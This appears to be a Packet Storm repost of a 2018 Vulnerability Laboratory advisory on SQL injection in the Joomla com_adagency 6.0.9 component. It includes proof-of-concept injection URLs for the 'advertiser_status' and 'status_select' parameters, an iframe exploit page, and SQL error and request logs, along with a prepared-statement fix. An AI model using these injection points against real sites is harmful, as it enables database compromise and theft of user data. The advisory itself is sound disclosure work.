Exploit the possiblities

Joomla Ad Agency 6.0.9 SQL Injection

Joomla Ad Agency 6.0.9 SQL Injection
Posted Jan 5, 2018
Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

Joomla Ad Agency component version 6.0.9 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 670141304b2eb74105c1d66ad593dbf5

Joomla Ad Agency 6.0.9 SQL Injection

Change Mirror Download
Document Title:
iJoomla com_adagency 6.0.9 - SQL Injection Vulnerabilities

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
SQL Injection

Current Estimated Price:
2.000a! - 3.000a!

Product & Service Introduction:
Ad Agency is the #1 advertising extension for Joomla! Start generating income from your traffic today by creating an advertising program.
d Agency's front-end is completely responsive. It looks great on any device, no matter the size. Your advertising campaigns are now
more flexible than ever! Youare free to choose the number of ads to display horizontally and vertically, so you can have several ads in
one row, in more than one row, or create multiple columns of ads.It's completely up to you!

(Copy of the Vendor Homepage: https://adagency.ijoomla.com/)

Abstract Advisory Information:
The vulnerability laboratory core research team discovered multiple remote sql-injection vulnerabilities in the iJoomla (Joomla) com_adagency 6.0.9 component.

Vulnerability Disclosure Timeline:
2018-01-04: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: com_adagency - Component (Joomla) 6.0.9

Exploitation Technique:

Severity Level:

Technical Details & Description:
Multiple remote sql-injection vulnerabilities has been discovered in the official iJoomla com_adagency v6.0.9 content management system component.
The sql-injection vulnerability allows remote attackers to inject own sql commands to compromise the database management system or web-application.

The sql-injection vulnerabilities are located in the `advertiser_status` and `status_select` parameters of the `com_adagency` component module.
Remote attackers are able to perform malicious GET method request to execute sql command via vulnerable parameters. Remote attackers can trigger
the issue depending on the access privileges with a restricted or unauthenticated user account. The vulnerability is a classic remote select sql
injection vulnerability in the `com_adagency` component module.

The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1.
Exploitation of the remote sql injection web vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] com_adagency

Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] advertiser_status
[+] status_select

Proof of Concept (PoC):
The remote sql-injection web vulnerabilities can be exploited by remote attackers with privileged web-application user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Payload Exploitatation (status_select & advertiser_status)
http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=-1%27Y[SQL-INJECTION VULNERABILITY!]--
http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=Y-1%27[SQL-INJECTION VULNERABILITY!]**&camp_id=3

PoC: Exploit
<title>SQL-Injection PoC (status_select & advertiser_status)</title>
<iframe src=http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=
<iframe src=http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=

--- PoC Exception & Error Logs ---
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax near line 1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
'Y%' GROUP BY advertis.aid ORDER BY advertis.ordering ASC' at line 1 SQL=SELECT user.id, advertis.aid, advertis.ordering, advertis.company,
advertis.approved, advertis.user_id, user.name, user.email, user.block, user.username, user.registerDate, count(c.id) count FROM
#__ad_agency_advertis as advertis LEFT OUTER JOIN #__users as user on user.id=advertis.user_id LEFT JOIN #__ad_agency_campaign as c on
c.aid=advertis.aid WHERE 1=1 AND user.id<>'' AND advertis.approved LIKE '%-1'Y%' GROUP BY advertis.aid ORDER BY advertis.ordering ASC
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
''Y-1'' AND cb.`campaign_id`=3 GROUP BY b.id ORDE' at line 15 SQL=SELECT b . * , camp.id campaign_id, camp.name campaign_name, a.aid AS
advertiser_id2, a.company AS advertiser, concat( width, 'x', height ) AS size_type, m.id mid, m.title zone_name FROM #__ad_agency_banners
AS b LEFT OUTER JOIN #__ad_agency_advertis AS a ON b.advertiser_id = a.aid LEFT JOIN #__ad_agency_campaign_banner AS cb ON cb.banner_id =
b.id LEFT JOIN #__ad_agency_campaign AS camp ON camp.id = cb.campaign_id LEFT JOIN #__ad_agency_order_type AS p ON camp.otid = p.tid LEFT
JOIN #__modules AS m ON m.id = cb.zone WHERE 1=1 AND b.approved = 'Y-1'' AND cb.`campaign_id`=3 GROUP BY b.id ORDER BY b.ordering ASC ,
b.id DESC LIMIT 0,30

--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=Y-1%27[SQL-INJECTION VULNERABILITY!]**&camp_id=3
Mime Type[text/html]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]
Cookie[dacce502d8fa40f12fdba764da41b8cf=8uusag3vgk0544u8phf9c4oa11; currentURI=http%3A%2F%2Fjoomla.localhost:8080%2F;
em_cdn_uid=t%3D1471798050244%26u%3D11f009a55e864578928adec2c70fa876; 350a4e86045327a856d5c0333a428604=ukf6ldgrs5ekdrukh8p8s422k0; activeProfile=0]
Response Header:
Content-Type[text/html; charset=UTF-8]
Status: 200[OK]
GET http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=-1%27Y[SQL-INJECTION VULNERABILITY!]**
Mime Type[text/html]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]
Cookie[jsju=0; dacce502d8fa40f12fdba764da41b8cf=8uusag3vgk0544u8phf9c4oa11;
350a4e86045327a856d5c0333a428604=ivi4d2j9782af9h0kntmqi6m43; activeProfile=0]
Response Header:
Content-Type[text/html; charset=UTF-8]


Solution - Fix & Patch:
The vulnerability can be patched by a secure parse and restriction of the vulnerable `advertiser_status` and `status_select` parameters in
the com_adagency component. Disallow the usage of special chars, escape the entries and use a prepared statement to prevent exploitation
of the vulnerabilities.

Note: The vulnerability has been resolved in the last com_adagency component updates in 2017 Q1-4.

Security Risk:
The security risk of the remote sql injection web vulnerabilities in the com_adagency 6.0.9 joomla component is estimated as high (CVSS 7.1).

Credits & Authors:
Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.

Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

Copyright A(c) 2018 | Vulnerability Laboratory - [Evolution Security GmbH]aC/

SERVICE: www.vulnerability-lab.com


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?

Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    0 Files
  • 17
    Jan 17th
    0 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2018 Packet Storm. All rights reserved.

Security Services
Hosting By